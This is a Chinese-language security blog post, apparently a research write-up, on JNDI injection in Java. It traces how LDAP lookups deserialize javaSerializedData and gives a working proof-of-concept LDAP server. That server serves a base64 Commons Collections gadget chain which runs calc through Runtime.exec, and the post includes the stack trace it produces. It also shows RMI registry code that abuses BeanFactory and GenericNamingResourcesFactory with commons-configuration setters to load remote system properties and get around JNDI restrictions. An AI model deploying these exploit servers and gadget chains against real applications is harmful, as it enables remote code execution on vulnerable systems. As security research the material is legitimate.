点击蓝字
关注我们
LDAP
存在有LdapClient#search方法的调用
首先他会封装了一个LdapRequest的请求,之后通过getSearchReply方法的调用获取对应的查询结果
跟进一下
在获取了返回的属性之后,将其放入了BasicAttributes类对象中
之后将会把获取到的LdapEntry封装进入LdapResult对象中去
最后返回了这个LdapResult对象
好的,现在回到了LdapCtx#c_lookup方法中来了
在682行中的var23就是前面返回的LdapResult对象,首先会判断其的entries属性是否为不为空,且要求只存在有一个LdapEntry对象。
如果满足上面的条件,就会取出LdapResult中的LdapEntry对象,其为var25这个变量,并且也会取出LdapEntry中的属性,上图中的var4是一个BasicAttributes对象
会判断属性中是否存在有javaClassName,如果有,将会调用Obj.decodeObject方法进行解析
最后调用了java.io.InputStream#readObject方法进行了反序列化
POC
import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;
public class SerializeLdapServer { public static void main(String[] args) throws Exception { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com"); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("127.0.0.1"), 389, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config); directoryServer.startListening(); System.out.println("ldap://127.0.0.1:389 is working..."); }
private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base); entry.addAttribute("javaClassName", "hahaha");
try { entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" + "cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" + "H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" + "cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" + "nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" + "Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" + "bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" + "Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" + "cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" + "LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" + "AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" + "cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" + "cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" + "bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" + "O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" + "cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" + "AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" + "AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" + "AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" + "AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" + "chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" + "c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" + "eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }catch (Exception e){ e.printStackTrace(); } } }}
exec:347, Runtime (java.lang)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)transform:125, InvokerTransformer (org.apache.commons.collections.functors)transform:122, ChainedTransformer (org.apache.commons.collections.functors)get:151, LazyMap (org.apache.commons.collections.map)getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)hash:339, HashMap (java.util)put:612, HashMap (java.util)readObject:342, HashSet (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)deserializeObject:531, Obj (com.sun.jndi.ldap)decodeObject:239, Obj (com.sun.jndi.ldap)c_lookup:1051, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)main:8, LdapClient (pers.jndi)
RMI
RMI也有着同样的反序列化利用
在sun.rmi.transport.StreamRemoteCall#executeCall中有着漏洞点
如果我们能够将该属性值置为true也就能够间接绕过限制
必须有一个无参构造方法
有public的setter方法且参数为一个String类型。
在commons-configuration包中存在有org.apache.commons.configuration.SystemConfiguration#setSystemProperties方法满足条件
通过调用setSystemProperties进行了属性的覆盖
commons-configuration
Registry registry = LocateRegistry.createRegistry(2000);ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));resourceRef.add(new StringRefAddr("x", "http://127.0.0.1:8000/exp.properties"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);registry.bind("test", referenceWrapper);
commons-configuration2
Registry registry = LocateRegistry.createRegistry(2000);ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));resourceRef.add(new StringRefAddr("x", "http://127.0.0.1:8000/exp.properties"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);registry.bind("test", referenceWrapper);
Groovy
在Groovy组件中存在有setSystemPropertyFrom方法
其他
当然还有这其他的第三方库存在有这样的功能的方法能够利用,只需要使用CodeQL或者其他静态代码分析工具进行筛选就行
其他的BeanFactory
当然除了catalina.jar中的类org.apache.naming.factory.BeanFactory可以利用
在tomcat-jdbc.jar中也存在有org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory这个BeanFactory
我们来看看他的getObjectInstance方法
将会获取返回的Reference类,实例化了目标类,之后分别取出了param和value的值之后调用setProperty方法
在60行的位置,他直接在name前面拼接上了get字符串,在取出了目标类的所有方法之后,通过for循环进行遍历获取setter的方法名,并调用
这里就很明显了,可以通过前面说的commons-configuration / commons-configuration2 / Groovy的setter方法来执行
这里给出一个例子
Registry registry = LocateRegistry.createRegistry(2000);ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);resourceRef.add(new StringRefAddr("systemProperties", "http://127.0.0.1:8000/exp.properties"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);registry.bind("test", referenceWrapper);
小于 Tomcat8 时无法使用 ELProcessor.eval 执行代码
只能在Tomcat下使用BeanFactory类调用任意方法
以较低版本Tomcat 如7.0.4时,BeanFactory只支持执行 setter 方法,无法再使用EL或Groovy执行
往期推荐
还没有评论,来说两句吧...